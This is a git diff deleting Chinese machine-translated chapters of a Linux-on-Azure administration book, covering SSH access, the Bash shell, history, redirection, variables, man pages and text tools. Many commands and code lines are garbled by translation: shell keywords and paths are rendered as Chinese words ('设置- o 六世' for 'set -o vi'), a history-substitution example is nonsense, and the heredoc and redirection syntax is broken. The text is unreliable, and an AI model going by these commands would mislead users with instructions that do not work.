有关该命令的更多信息,请参考[https://docs.microsoft.com/en-us/powershell/module/azurerm.compute/add-azurermvmsshpublickey?view=azurermps-6.13.0](https://docs.microsoft.com/en-us/powershell/module/azurerm.compute/add-azurermvmsshpublickey?view=azurermps-6.13.0)。 - -一旦创建了虚拟机,你就可以使用下面的命令来访问它: - -ssh student@ - -## 总结 - -本章介绍了进入 Microsoft Azure 的第一步。 第一步总是涉及创建一个新帐户或使用现有的公司帐户。 有了帐户,你就可以登录并开始发现 Azure 云。 - -在本章中,Azure 云的发现是通过 Azure CLI 命令**az**完成的,或者通过 PowerShell; 通过示例,您了解了以下内容: - -* Azure 登录过程 -* 地区 -* 存储账户 -* 出版商提供的图片 -* 虚拟机的创建 -* 查询虚拟机的关联信息 -* 什么是 Linux 以及对 Linux 虚拟机的支持 -* 使用 SSH 和 SSH 对访问您的 Linux 虚拟机 - -下一章从这里开始,踏上新的征程:Linux 操作系统。 - -## 问题 - -1. 使用命令行访问 Microsoft Azure 的优势是什么? -2. 储存帐户的目的是什么? -3. Can you think of a reason why you would get the following error message? - - 代码= StorageAccountAlreadyTaken - - 消息=名为 mystorage 的存储帐户已被占用。 - -4. 报价和形象有什么区别? -5. 停止虚拟机和重新分配虚拟机之间的区别是什么? -6. 使用私有 SSH 密钥对您的 Linux 虚拟机进行身份验证有什么好处? -7. **az vm create**命令有**——generate-ssh-keys**参数。 创建了哪些键,它们存储在哪里? - -## 进一步阅读 - -本章绝不是一个使用 PowerShell 的教程。 但是如果你想更好地理解这些例子,或者想更多地了解 PowerShell,我们可以建议你阅读 Packt Publishing 出版的*精通 Windows PowerShell 脚本-第二版*(ISBN: 9781787126305)。 我们建议你从第二章*Working with PowerShell*开始,至少读到第四章*Working with Objects in PowerShell*。 - -您可以找到大量关于使用 SSH 的在线文档。 一个很好的起点是维基百科:[https://en.wikibooks.org/wiki/OpenSSH](https://en.wikibooks.org/wiki/OpenSSH)。 - -如果您希望了解更多关于 Linux 管理的内容,Packt Publishing 出版的*Linux 管理烹饪书*是一个很好的资源,特别是对系统工程师来说。 - -要深入了解安全性和管理任务,可以阅读以下内容:*Mastering Linux security and Hardening*,由 Donald a . Tevault 编写,Packt Publishing 出版。 \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/03.md b/docs/handson-linux-admin-azure/03.md deleted file mode 100644 index 22e5afc7..00000000 --- a/docs/handson-linux-admin-azure/03.md +++ /dev/null @@ -1,1122 +0,0 @@ -# 三、Linux 基础管理 - -在部署了您的第一个 Linux**虚拟机**(**VM**)之后,让我们登录,讨论一些基本的 Linux 命令,并学习如何在 Linux 环境中找到出路。 本章是关于基本的 Linux 管理,从用于与 Linux 系统交互的 Linux shell 开始。 我们将讨论如何使用 shell 来完成我们的日常管理任务,比如访问文件系统、管理进程(比如启动和终止程序)以及许多其他事情。 - -在本章的最后部分,我们将讨论**的自主访问控制**(**DAC)模型以及如何创建、管理和验证用户和组在 Linux 和获得的文件和目录的权限,基于用户名和组成员关系。 我们还将讨论更改用户/组的文件所有权,以及更改和验证基本权限和访问控制列表。** - -以下是本章的主要主题: - -* 与 shell 交互并配置 shell -* 使用手册页获得帮助 -* 通过 shell 处理和编辑文本文件 -* 理解文件层次结构,管理文件系统,并安装新的文件系统 -* 管理流程 -* 用户和组管理 - -## Linux Shell - -在上一章中,我们创建了 VM 并使用 SSH 登录,但是我们如何与 Linux 机器交互并指示它执行任务呢? 正如我们在本章开始时提到的,我们将使用 shell。 - -我们将研究广泛使用的 Bash shell、Bash shell 的配置以及如何使用它。 shell 是一个用户界面,在其中你可以做以下事情: - -* 与内核、文件系统和进程交互 -* 执行程序、别名和内置外壳 - -shell 提供如下特性: - -* 脚本 -* 自动完成 -* 历史和混叠 - -有许多不同的 shell 可用,如 KornShell、Bash 和**Z shell**(**Zsh**)。 Bash 几乎是每个 Linux 系统上的默认 shell。 它的开发始于 1988 年,作为最古老的 shell 之一:Bourne shell 的替代品。 Bash 基于 Bourne shell 以及从 KornShell 和 C shell 等其他 shell 中学到的经验教训。 Bash 已经成为最流行的 shell,可以在许多不同的操作系统上使用,包括 Windows 10、FreeBSD、macOS 和 Linux。 - -以下是 Bash 2.05a(2001 年发布)中添加的一些最重要的特性,它们使 Bash 成为最突出的 shell: - -* 命令行编辑 -* 历史上的支持 -* 自动完成 -* 整数的计算 -* 函数声明 -* 这里是文档(将文本输入放入单独文件的一种方法) -* 新增变量,如**$RANDOM**和**$PPID** - -最近,Z 壳变得越来越受欢迎; 该 shell 的开发始于 1990 年,可以将其视为 Bash 的扩展。 还有一个与 Bash 的兼容模式。 它提供了更好的自动补全支持,包括自动校正和更高级的路径名扩展。 它的功能可以通过模块进行扩展,例如,通过命令获得更多帮助。 [Oh-My-ZSH (https://github.com/robbyrussell/oh-my-zsh)和 Prezto](https://github.com/robbyrussell/oh-my-zsh)([https://github.com/sorin-ionescu/prezto)项目是值得一提的:它们提供了主题,高级配置和插件管理 Z shell 非常友好。 所有这些出色的特性都是有代价的:Z shell 肯定比 Bash 更需要资源。](https://github.com/sorin-ionescu/prezto) - -### 执行命令 - -shell 最重要的特性之一是可以执行命令。 命令可以是以下命令之一: - -* Shell 内置(由相关 Shell 提供的命令) -* 文件系统上的可执行文件 -* 别名 - -要找出正在执行的命令类型,可以使用**type**命令: - -类型呼应 - -添加**-a**参数将显示包含**echo**可执行文件的所有位置。 在下面的截图中,我们可以看到,当我们添加**-a**参数时,由于可执行文件的存在,shell 也引用了**/usr/bin/echo**目录: - -![Using the type command along with the parameter -a to find the type and locations of an executable named echo.](img/B15455_03_01.jpg) - -###### 图 3.1:包含可执行回显的位置 - -让我们对**ls**做同样的处理: - -type ls - -因此,您将得到类似的输出**类型 ls**: - -![Running the command type -a ls to display the location containing the executable ls. By running this command we can also see that ls is an alias for ls --color=auto](img/B15455_03_02.jpg) - -###### 图 3.2:包含可执行 ls 的位置 - -在这里,我们可以看到**ls**是**ls——color=auto**命令添加了一些参数的别名。 别名可以代替已有的命令,也可以创建新的命令。 不带参数的**alias**命令将为您提供已经配置的别名: - -![Running the alias command on different keywords to display the aliases these commands are already configured with.](img/B15455_03_03.jpg) - -###### 图 3.3:使用 alias 命令 - -**ll**别名是一个新创建命令的示例。 **mv**命令就是一个替换的例子。 创建一个新的别名如下: - -alias='命令执行' - -例如,要将**grep**命令替换为**search**,执行以下命令: - -alias search=grep - -您正在创建的别名将被添加到**.bashrc**文件中。 如果要删除已创建的别名,可以使用**unalias**命令: - -unalias - -如果要删除所有已定义的别名,可以使用**取消别名-a**。 - -命令标识程序在**$PATH**变量中的位置。 这个变量包含一个目录列表? 用于查找可执行文件。 这样,你就不需要提供完整的路径: - -这密码 - -输出告诉你它在**/usr/bin**目录中可用: - -![Identifying the location of a program using the which command.](img/B15455_03_04.jpg) - -###### 图 3.4:程序在$PATH 变量中的目录位置 - -### 命令行编辑 - -在许多方面,在 Bash shell 中输入命令与在文本编辑器中工作是一样的。 这可能就是为什么操作会有快捷方式(比如到一行的开始),以及为什么快捷方式与两个最著名、最常用的文本编辑器(Emacs 和 vi)相同的原因。 - -默认情况下,Bash 被配置为 Emacs 编辑模式。 如果需要查看当前的编辑模式,请执行**set -o**。 输出将说明在上 Emacs 或 vi 是否被设置为**。 以下是一些非常重要的快捷方式:** - -![A table listing a few important shortucts to navigate through the Bash shell.](img/B15455_03_05.jpg) - -###### 图 3.5:Bash shell 快捷键列表 - -如果使用 vi 模式,请执行以下操作: - -设置- o 六世 - -使用如下命令切换回 Emacs 模式: - -设置- o emacs - -#### 请注意 - -vi 编辑器将在本章后面的章节*Working with Text Files*中介绍。 目前,您可以在命令模式下使用几乎所有命令,包括**导航**、**扬**和**放**。 - -**set**命令是 Bash 内置的命令,用于切换特定于 Bash 的属性。 如果没有参数,它将转储环境变量。 - -### 与历史一起工作 - -Bash shell 提供了命令行工具,您可以使用这些工具处理用户的命令历史记录。 您执行的每个命令都注册在主目录的历史文件中:**~/。 bash_history**。 要查看历史记录的内容,请执行以下命令: - -历史 - -输出显示了先前使用的命令的编号列表; 你可以简单地使用以下命令重做一个命令: - -* **! **:根据历史列表号执行命令。 -* **! <-number>**:例如**!-2**执行的命令比历史上的最后一条命令早 2 条。 -* **! <命令>的第一个字符:**这将执行以该字符开头的最后一项。 -* **!! :**重做最后一条命令。 您可以将此命令与其他命令组合使用。 例如,**sudo !!** 。 - -可以使用*Ctrl*+*R*(Emacs 模式)或正斜杠(vi 命令模式)向后搜索历史记录。 使用方向键可以浏览网页。 - -历史文件不是在执行命令之后直接写入的,而是在登录会话结束时写入的。 如果您在多个会话中工作,那么直接编写历史记录可能是个好主意。 为此,执行以下操作: - -——历史 - -要在另一个会话中读取刚刚保存的历史记录,执行以下操作: - -历史- r - -要清除当前会话的历史记录,使用此命令。 - -历史- c - -如果你想保存历史记录到一个文件中,你可以执行以下操作: - -历史-w - -因此,通过保存清除的历史,您清空了历史文件。 - -使用历史记录的另一个很好的特性是您可以编辑它。 假设您执行了**ls -alh**命令,但是您需要**ls -ltr**。 类型: - -^alh^ltr - -这实际上和下面的是一样的: - -!! :劳动法第 s / 2001 /《福 - -当然,你可以对历史上的每一个条目都这样做; 例如,对于历史列表中的数字**6**,使用: - -6 弦:s - - newstring ! - -有时您需要更大的灵活性,您希望编辑包含大量打字错误的大行。 输入**fc**命令。 使用以下方法修复该命令: - -fc - -这将打开一个文本编辑器(默认为 vi),在保存修改后,它将执行修改后的命令。 - -### 自动完成 - -每个人都会犯错误; 没有人能记住每一个参数。 自动补全可以防止许多错误,并在输入命令时以多种方式帮助您。 - -自动补全适用于以下情况: - -* 可执行文件 -* 别名 -* 外壳的内 -* 文件系统上的程序 -* 文件名 -* 参数,如果实用程序支持它,并且安装了**bash-completion**包 -* 变量 - -如果 shell 配置为 Emacs 模式,使用*Ctrl*+*I*激活自动补全; 如果 shell 配置为 vi 模式,也可以使用*Ctrl*+*P*。 - -#### 请注意 - -如果有多个选项,你必须按*Ctrl*+*I*或*Ctrl*+*P*两次。 - -### 球状 - -Globbing 是将一个包含通配符的非特定文件名扩展为 Linux shell 中的一个或多个特定文件名。 通配符的另一个常见名称是路径名展开。 - -以下通配符在 Bash shell 中被识别: - -* **?** :单个字符。 -* *****:多个字符。 请注意,如果您使用这个通配符作为第一个字符,以点开头的文件名将不匹配。 当然,你也可以用**.***。 -* **[a-z], [abc]**:一个字符。 -* **{a,b,c}: a or b or c** - -下面是一些使用通配符的好例子: - -* **echo ***:列出当前工作目录中的文件或目录。 -* **cd /usr/share/doc/wget***:将目录更改为以**wget**开头的目录名,该目录位于**/usr/share/doc**。 -* **ls /etc/*/*conf**:列出**/etc**下所有目录中的**.conf**文件。 下面是这个命令的示例: - -![Running the command ls /etc/*/*conf to display all .conf files in all directories under /etc.](img/B15455_03_06.jpg) - -###### 图 3.6:列出所有目录中的所有.conf 文件 - -* **mkdir - p /电脑/ www / {html、目录、日志}**:这将创建 html**,**目录**,**和**日志目录内【显示】/电脑/ www**一个命令。 - -### 重定向 - -在 Unix 的早期,开发人员之一 Ken Thompson 定义了一种*Unix 哲学*,一种基于经验的方法,使一切都尽可能地模块化,并尽可能地重用代码和程序。 特别是在那些日子里,出于性能的原因,可重用性非常重要,它提供了一种方法,可以方便地维护代码。 - -在这个由 Peter H Salus 修改的*Unix 哲学*版本中,重定向的目标如下: - -* 编写能做一件事的程序并把它做好。 -* 编写程序一起工作。 -* 编写程序来处理文本流,因为这是一个通用接口。 - -为了使这一理念成为可能,开发了支持文件描述符的程序,或者,用现代的说法,通信通道。 每个节目至少有三个沟通渠道: - -* 标准输入(0) -* 标准输出(1) -* 标准错误(2) - -这个实现的一个很好的特性是您可以重定向通道。 - -要将标准输出重定向到一个文件,使用以下方法: - -命令>文件名 - -要重定向标准输出并追加到现有文件,请使用: - -命令> >文件名 - -将标准错误重定向并输出到如下文件: - -命令与>文件名 - -首先将标准输出重定向到一个文件,然后将标准错误也重定向到那里,使用: - -命令 2 > & 1 文件名 - -要重定向标准输入,请使用以下方法: - -文件名 - -让我们做一个活动来帮助我们理解重定向的概念。 请先运行命令,验证输出,然后使用以下方法重定向到文件。 例如,运行**ls**并验证输出,然后使用**>**将输出重定向到**/tmp/test。 列出**。 您总是可以使用**cat /tmp/test 检查该文件。 列表**: - -ls > /tmp/test.list - -Echo hello > /tmp/echotest - -echo hallo again >> /tmp/echotest - -ls -R /proc 2> /tmp/proc-error.test - -ls -R /proc &> /tmp/proc-all.test - -< / etc / services 排序 - -输入重定向的一个特殊版本是**heredoc.txt**: - -> /tmp/heredoc.txt - -这是一条直线 - -这是另一条线 - -EOF - -**cat**命令连接标准输出并将其附加到**/tmp/heredoc.txt**文件中。 没有办法中断或中断命令,因为键盘在遇到标签(在本例中为**EOF**)之前不是标准输入。 这种方法通常用于从脚本创建配置文件。 - -另一种可能性是使用**|**符号将一个命令的标准输出重定向到另一个命令的标准输入: - -|其他命令 - -例如: - -ls |更多 - -使用**tee**命令,您可以结合重定向和管道功能。 有时,您需要确保将**命令 1**的输出写入一个文件以进行故障诊断或日志记录,同时,您还需要将其管道到另一个命令的标准输入: - -| tee file.txt |命令 2 - -也可以使用**-a**参数附加到文件。 - -**tee**的另一个用例是: - -| sudo tee - -这样,就可以在不使用困难的**su**结构的情况下写入文件。 - -### 处理变量 - -每个命令行界面,甚至那些没有高级脚本的界面,都有变量的概念。 在 Bash 中,有两种变量类型: - -* 影响 Bash 行为或提供有关 Bash 信息的内置或内部变量。 例如:**BASH_VERSION**、**EDITOR**和**PATH**。 -* 一个或多个应用已知的环境变量,包括内置变量和用户定义的变量。 - -要列出当前 shell 的环境变量,可以使用**env**或**printenv**命令。 **printenv**还可以显示特定变量的内容: - -![Running the command printenv PATH to list the environment variables for your current shell.](img/B15455_03_07.jpg) - -###### 图 3.7:使用 printenv 命令显示特定变量的内容 - -另一种查看变量内容的方法如下: - -echo $VARNAME - -要声明一个环境变量,执行**var=value**。 例如: - -animal=cat - -echo $动物 - -要向值中添加更多字符,请使用: - -动物=美元,狗的动物 - -echo $动物 - -**动物**变量仅为当前 shell 所知。 如果你想把它导出到子进程,你需要导出变量: - -出口动物 - -Bash 也能够做简单的计算: - -a=$((4 + 2)) - -或者,你可以使用这个命令: - -let a=4+2 - -echo $一个 - -另一个特性是将命令的输出放到一个变量中——这种技术称为嵌套: - -MYDATE=$(date +"%F") - -echo MYDATE 美元 - -当然,这只是对 Bash 能够实现的功能的初步了解,但是对于了解如何处理 Bash 配置文件并根据需要的环境修改它们以使它们按您希望的方式运行,这应该已经足够了。 - -### Bash 配置文件 - -Bash shell 有三个重要的系统级配置文件:**/etc/profile**、**/etc/bashrc**和**/etc/environment**。 这些文件的目的是存储有关 shell 的信息,例如颜色、别名和变量。 例如,在前一节中,我们添加了两个别名,它们存储在一个名为**bashrc**的文件中,这是一个配置文件。 每个文件都有自己的用途; 我们现在就来看看它们中的每一个。 - -**/etc/profile**是用户登录系统后执行的脚本。 修改这个文件不是一个好主意; 相反,使用管理单元**/etc/profile. d**目录。 该目录下的文件按字母顺序执行,文件扩展名必须为**.sh**。 附带说明一下,**/etc/profile**不仅被 Bash shell 使用,而且被所有 Linux shell 使用,除了 PowerShell。 您还可以在主目录**~/中创建一个特定于用户的配置文件脚本。 bash_profile**,它也是特定于 bash 的。 - -概要文件脚本的一些典型内容如下: - -设置- o 六世 - -别名 man="pinfo -m" - -别名 ll="ls -lv——group-directories-first" - -shopt - u mailwarn - -unset MAILCHECK - -#### 请注意 - -如果你正在使用 Ubuntu 或类似的发行版,**pinfo**在默认情况下不会安装。 执行**apt install pinfo**进行安装。 - -**shopt**命令更改一些默认的 Bash 行为,例如检查邮件或通配符的行为。 **unset**命令与**set**命令相反。 在我们的示例中,默认情况下,Bash 每分钟检查一次邮件; 执行**unset MAILCHECK**命令后,**MAILCHECK**变量将被删除。 - -**/etc/bashrc**脚本在任何用户调用 shell 或 shell 脚本时启动。 出于性能方面的考虑,请将其最小化。 您可以使用特定于用户的**~/来代替**/etc/bashrc**文件。 . bashrc**文件,和**~/。 说明退出 shell 时会执行 bash_logout**脚本。 **bashrc**配置文件通常用于修改提示符(**PS1**变量): - -DARKGRAY = ' \ e [1; 30m - -绿色= ' \ e [32m ' - -黄= ' \ e[1; 33 米 - -PS1="\n$GREEN[\w] \n$DARKGRAY(\t$DARKGRAY)-(\u$DARKGRAY)-($YELLOW-> \e[m" - -让我们看看变量**PS1**的参数: - -* 颜色(如传递给 PS1 变量的绿色、深灰色)是在 ANSI 颜色代码中定义的。 -* **\e**:ANSI 中的转义字符。 -* **\n**:换行。 -* **\w**:当前工作目录。 -* **\t**:当前时间。 -* **\u**:用户名。 - -**/etc/environment**文件(在基于 Red hat 的发行版中默认为空)是登录时执行的第一个文件。 它包含每个进程的变量,而不仅仅是 shell。 它不是一个脚本,只是每行上有一个变量。 - -以下是**/etc/environment**的示例: - -编辑= / usr / bin /我 - -浏览器= / usr / bin / elinks - -LANG=en_US.utf-8 - -LC_ALL = en_US.utf-8 - -LESSCHARSET = utf-8 - -SYSTEMD_PAGER = / usr / bin /更多 - -**EDITOR**变量是一个重要的变量。 许多程序都可以调用编辑器; 有时候默认值是 vi,有时候不是。 设置默认值可以确保您总是可以使用您喜欢的编辑器。 - -#### 请注意 - -如果您不想注销并再次登录,可以使用**source**命令,例如**source /etc/environment**。 这样,变量将被读入当前 shell 中。 - -## 获取帮助 - -无论您是 Linux 新手还是长期用户,您都会时不时地需要帮助。 记住所有的命令及其参数是不可能的。 几乎每个命令都有一个**——help**参数,而且有时在**/usr/share/doc**目录中安装文档,但是最重要的信息来源是信息文档和手册页。 - -### 使用手册页 - -有句话说,**阅读《精细手册》**(**RTFM**),有时人们会用另一个不太友好的单词替换*精细*。 几乎每个命令都有一个手册:手册页为您提供所需的所有信息。 是的,并不是所有的帮助手册页都容易阅读,特别是较旧的帮助手册页,但是如果您经常使用帮助手册页,您就会习惯它们,并且能够快速地找到所需的信息。 通常,手册页安装在您的系统上,并且可以在线使用:[http://man7.org/linux/man-pages](http://man7.org/linux/man-pages)。 - -请注意,用于 openSUSE Leap 和 SUSE Linux Enterprise Server 的 Azure 映像中已经删除了手册页。 你必须重新安装每个软件包,使它们再次可用: - -sudo zypper 刷新 - -For package in $(rpm -qa); - -do sudo zypper install—force—no-confirm $package; - -完成 - -手册页安装在 GZIP 压缩文件的**/usr/share/man**目录下。 手册页是特殊格式化的文本文件,您可以通过**Man**命令或**pinfo**命令来读取。 pinfo 实用程序充当一个文本浏览器,非常类似于基于文本的 web 浏览器。 它增加了超链接支持以及使用箭头键在不同手册页之间导航的能力。 - -#### 请注意 - -如果您想用**pinfo**来替换**man**命令,那么最好使用**alias man="pinfo -m"**命令来创建一个别名。 - -所有的手册页都遵循类似的结构,并且它们总是格式化并分为几个部分: - -* **Name**:命令名称及简要说明。 通常一行程序; 详细信息可以在手册页的描述部分找到。 -* **概要**:包含所有可用参数的概览。 -* **Description**:命令的长描述,有时包括命令的状态。 例如,**ifconfig**命令的手册页明确声明该命令已过时。 -* **选项**:命令的所有可用参数,有时包括示例。 -* **示例**:如果示例不在 Options 部分,则可能有一个单独的部分。 -* **Files**:对该命令重要的文件和目录。 -* **参见**:指其他手册页、信息页和其他文档来源。 有些手册页包含其他部分,例如注释、bug、历史、作者和许可证。 - -手册页是分为几个部分的帮助页; 这些部分在手册页的描述部分进行了描述。 你可以使用**man**来了解更多的章节内容。 下面的截图显示了不同的部分: - -![A screenshot listing various sections of the man pages.](img/B15455_03_08.jpg) - -###### 图 3.8:手册页的不同部分 - -了解这个部分是很重要的,特别是如果您想搜索文档。 为了能够搜索文档,你需要索引手册页: - -sudo mandb - -#### 请注意 - -通常情况下,安装包后,索引会自动更新。 有时,打包器将无法添加一个安装后脚本来执行**mandb**命令。 如果您找不到信息,并且非常确定应该有一个手册页,那么手动执行命令是一个好主意。 - -然后,您可以使用**适当的**或**man -k**命令来查找您需要的信息。 你选择哪一个并不重要; 语法是相同的: - -Man -k -s 5“time” - -在前面的命令中,我们搜索单词**time**,将搜索限制在手册页第 5 部分。 - -### 使用信息文档 - -信息文档是另一个重要的信息来源。 手册页和信息页之间的区别在于,信息页的格式更加自由,而手册页则是特定命令的一种指令手册。 大多数情况下,信息文档都是完整的手册。 - -信息文档与手册页一样,被压缩并安装在**/usr/share/info**目录中。 你可以用**info**或更现代的**pinfo**来阅读。 这两个命令都充当基于文本的浏览器。 如果您是 Emacs 编辑器的忠实粉丝,您可以使用 InfoMode([https://www.emacswiki.org/emacs/InfoMode](https://www.emacswiki.org/emacs/InfoMode))来阅读信息文档。 - -一个很好的特性是,你可以使用**pinfo**或**info**直接跳转到文档中的超链接: - -pinfo '(pinfo) Keybindings' - -#### 请注意 - -如果你正在使用 Ubuntu 或类似的发行版,**pinfo**在默认情况下不会安装。 执行**apt install pinfo**进行安装。 - -前面的示例打开**pinfo**的手册页,并直接跳转到**Keybindings**部分。 - -**pinfo**命令有一个搜索选项**-a**。 如果匹配,则自动打开相应的**信息**文档或手册页。 例如,如果您想了解**echo**命令,可以使用**pinfo -a echo**; 它将带您到**echo**命令的帮助部分。 - -**info**命令还有一个搜索选项:**-k**。 使用**-k**,**info**命令将在所有可用的手册中查找关键字。 例如,这里我们检查了**paste**关键字,它返回了所有可能的匹配: - -![Using the info -k command to look up the keyword paste in all available manuals.](img/B15455_03_09.jpg) - -###### 图 3.9:使用 info 命令检查 paste 关键字 - -### 其他文档 - -文档的另一个来源是 Linux 发行版供应商提供的文档。 Red Hat、SUSE、Canonical 和 Debian 的网站上都有有用的手册、wiki 等等。 它们非常有用,特别是对于特定于发行版的主题,比如软件管理。 - -有两个发行版不是微软支持的发行版,Gentoo 和 Arch Linux,它们的网站上有很好的 wiki。 当然,这些 wiki 中的一些信息是特定于这些发行版的,但是许多文章是有用的,并且将适用于每个发行版。 - -Linux 基金会主机 https://wiki.linuxfoundation.org wiki 在与文档有关的话题,例如网络、和标准如**Linux 标准基础**(**LSB),这将在本章后面介绍。 其他标准由 freedesktop.org([https://www.freedesktop.org](https://www.freedesktop.org))覆盖。 他们还负责 Linux**init**系统、systemd 和 Linux 防火墙(防火墙); 这些主题在*第 5 章,高级 Linux 管理*中讨论。** - -最后,Linux 文档项目可以在[https://www.tldp.org](https://www.tldp.org)找到。 虽然你可以在那里找到很多非常古老的文档,但它仍然是一个很好的起点。 - -## 使用文本文件 - -Unix 的理念是由 Ken Thompson 创立的,旨在创建一个占用空间小、用户界面清晰的操作系统。 因为 Unix 哲学的一部分是*编写程序来处理文本流,因为这是一个通用接口*,程序、配置文件和许多其他东西之间的通信都是在纯文本中实现的。 本节主要讨论如何处理纯文本。 - -### 阅读文本 - -在最基本的层面上,以纯文本格式读取文件的内容意味着获取该文件的内容并将其重定向到标准输出。 **cat**命令是一个可以实现这一功能的实用程序——将一个或多个文件(或另一个输入通道)的内容连接到标准输出: - -![Reading the contents of the file /etc/shells using the cat utility.](img/B15455_03_10.jpg) - -###### 图 3.10:使用 cat 命令生成标准输出 - -这个实用程序的一些不错的参数是: - -* **-A**:显示所有不可打印字符 -* **-b**:数字行,包括空行 -* **-n**:数字行,空行除外 -* **-s**:抑制重复(**!** )空空行 - -还有另一个类似于**cat**的实用工具,即**tac**实用工具。 这将以相反的顺序打印文件: - -![Printing the contents of a file in reverse order by running the tac utility.](img/B15455_03_11.jpg) - -###### 图 3.11:使用 tac 实用程序以相反的顺序打印文件 - -**cat**命令的问题是,它只是将内容转储到标准输出,而没有对内容进行分页,而且终端的滚动功能不是很好。 - -**more**实用程序是用于分页的过滤器。 它一次显示一屏文本,并提供一个基本的搜索引擎,可以使用正斜杠激活。 在文件的末尾,**将退出更多的**,并提示**按空格继续**。 - -**less**效用比**more**效用更高级。 它具有以下特点: - -* 能够向前、向后和水平滚动 -* 先进的导航 -* 高级搜索引擎 -* 多个文件处理 -* 能够显示有关文件的信息,如文件名和长度 -* 调用 shell 命令的能力 - -在**多**和**少**中,**v**命令允许我们切换到一个编辑器,默认情况下是 vi 编辑器。 - -#### 请注意 - -每个发行版都有**更多**和**更少**; 然而,在一些分布中,**more**是**less**的别名。 使用**type**命令进行验证! - -如果您只想查看文件顶部的特定行数,有一个名为**head**的实用程序。 默认情况下,它显示文件的前 10 行。 可以使用行数的**-n**参数和字节/千字节数的**-c**参数修改此行为。 - -**头**效用与**尾**效用相反; 默认情况下,它显示前 10 行。 例如,我们有一个名为**states.txt**的文件,其中包含按字母顺序排列的美国各州的名称。 如果我们使用**head**命令,它将打印文件的前 10 行,如果我们使用**tail**命令,它将打印文件的后 10 行。 让我们来看看这个: - -![Printing the first 10 and the last 10 entries of a file using the head and tail utility.](img/B15455_03_12.jpg) - -###### 图 3.12:使用 head 和 tail 工具列出文件的前 10 个条目和后 10 个条目 - -它识别与**头**相同的参数来修改该行为。 但是有一个额外的参数使得这个实用程序对于日志记录非常有用。 **-f**在文件增长时附加输出; 它是一种跟踪和监控文件内容的方法。 一个非常著名的例子是: - -Sudo tail -f /var/log/messages - -### 文本文件搜索 - -您可能听说过 Linux 中的所有东西都是一个文件。 另外,Linux 中的许多东西都是由文本流和文本文件管理的。 您迟早会希望搜索文本以便进行修改。 这可以通过使用正则表达式来实现。 正则表达式(简称 regex)是一种特殊字符和文本的模式,用于在执行搜索时匹配字符串。 许多带有内置处理器的应用都使用正则表达式,例如 Emacs 和 vi 文本编辑器,以及**grep**、**awk**和**sed**等实用程序。 许多脚本语言和编程语言都支持正则表达式。 - -在本书中,我们将只讨论这个主题的基础知识—足够您在日常系统管理任务中使用它们。 - -每个正则表达式都是围绕一个原子构建的。 原子标识要匹配的文本以及在进行搜索时在何处找到该文本。 它可以是一个已知的单字符项(或者一个点,如果你不知道字符),一个类,或者一个范围,例如: - -![A table showing how to express multiple single character items and ranges using regular expressions.](img/B15455_03_13.jpg) - -###### 图 3.13:原子的例子 - -正则表达式也可以用速记类的形式表示。 以下是一些速记类的例子: - -![A list of different regular expressions expressed in the form of a shorthand class.](img/B15455_03_14.jpg) - -###### 图 3.14:速记类的例子 - -我们可以使用位置锚来确定在哪里找到下一个字符。 一些受欢迎的是: - -![List of important position anchors to determine where to find the next character.](img/B15455_03_15.jpg) - -###### 图 3.15 位置锚点列表 - -使用重复操作符,你可以指定一个字符应该出现多少次: - -![List of repetition operators](img/B15455_03_16.jpg) - -###### 图 3.16:重复操作符列表 - -以下是一些例子: - -* 如果你搜索字符**b**,找到单词**boom**,它会匹配字母**b**。 如果您搜索**bo**,它将按照以下顺序匹配这些字符。 -* 如果你搜索**bo{,2}m**,单词**bom**和**boom**将会匹配。 但是,如果**boom**这个词存在,它将不匹配。 -* 如果搜索**^bo{,2}m**,只有当单词**boom**位于一行的开头时,才会有匹配。 - -正则表达式的引用可以使用: - -人 7 正则表达式 - -我们已经提到的一个实用程序是**grep**实用程序,它用于在文本文件中进行搜索。 这个实用程序有多个版本; 现在,**egrep**是最常用的版本,因为它具有最完整的正则表达式支持,包括速记范围和 OR 转换操作符**|**。 - -**grep**和**grep**的常见选项有: - -![A table listing common options for egrep and grep.](img/B15455_03_17.jpg) - -###### 图 3.17:grep 和 grep 选项 - -您还可以通过检查手册页查看其他选项。 - -下面是一个简单的例子**grep**: - -![grep example](img/B15455_03_18.jpg) - -###### 图 3.18:grep 示例 - -另一个非常有用的实用程序是**awk**。 现在,**awk**是由开发人员 Alfred Aho、Peter Weinberger 和 Brian Kernighan 创建的一个实用程序。 它是一种用于文本文件的脚本语言,用于生成和操作日志文件或报告。 awk 不需要任何编译,你可以在报告中提到需要的字段。 - -让我们看一个例子: - -awk - f: ' / ^根/{打印“Homedir 根:“$ 6}" / etc / passwd - -它扫描**/etc/passwd**文件,并使用字段分隔符冒号分隔内容。 它搜索以**根**字符串开头的行,并打印一些文本(根的**Homedir:**)和第六列。 - -### 编辑文本文件 - -因为文本文件在 Linux 中非常重要,所以文本编辑器非常重要。 每个发行版的存储库中都有一个或多个针对图形环境和非图形环境的编辑器。 可以肯定,至少 vim(一种现代 vi 实现)和 Emacs 是可用的。 vi 爱好者和 Emacs 爱好者之间有一场持续不断的战争——他们已经互相侮辱了几十年,而且在未来的几十年里还会继续这样做。 - -我们不会替你做决定; 相反,如果你已经熟悉其中一种,那就坚持下去。 如果您不知道 vi 或 Emacs,请尝试一下这两种方法,然后自行决定。 - -还有一些其他的编辑器: - -* **nano**,免费克隆的专利 Pico,文本编辑器组件的松树电子邮件客户端 -* **mcedit**,是**Midnight Commander**(**MC**)文件管理器的一部分,也可以独立运行 -* **joe**, which can emulate the keybindings of nano, Emacs, and a very old word processor called WordStar (note that, for CentOS, this editor is not available in the standard repository, but is in a third-party repository). - - #### 请注意 - - 如果您想了解 vi,请执行 vim 附带的教程**vimtutor**命令。 它是学习 vi 中导航、命令和文本编辑的所有基础知识的一个很好的起点。 - - Emacs 提供了一个非常好的帮助功能,您可以通过*Ctrl*+*H*+*R*在 Emacs 中访问该功能。 - -另一种编辑文本流和文件的方法是使用非交互式文本编辑器 sed。 它不是在文本编辑器窗口中打开一个文件,而是在 shell 中处理一个文件或流。 它是一个方便的实用工具,如果你想做以下: - -* 对文件进行自动编辑 -* 对多个文件进行相同的编辑 -* 编写一个转换程序——例如,在小写字母和大写字母之间进行转换,或者更复杂的转换 - -sed 编辑器的语法与 vi 编辑器的命令非常相似,可以编写脚本。 - -sed 的默认行为不是编辑文件本身,而是将更改转储到标准输出。 您可以将此输出重定向到另一个文件,或者使用**-i**参数,它代表**就地编辑**。 这种模式将改变文件的内容。 下面的命令是目前最有名的**sed**命令: - -Sed -i 's/string/newstring/g' filename.txt - -它将搜索一个字符串,替换它,并继续搜索和替换,直到文件结束。 - -再加上一点脚本,你可以用同样的方式编辑多个文件: 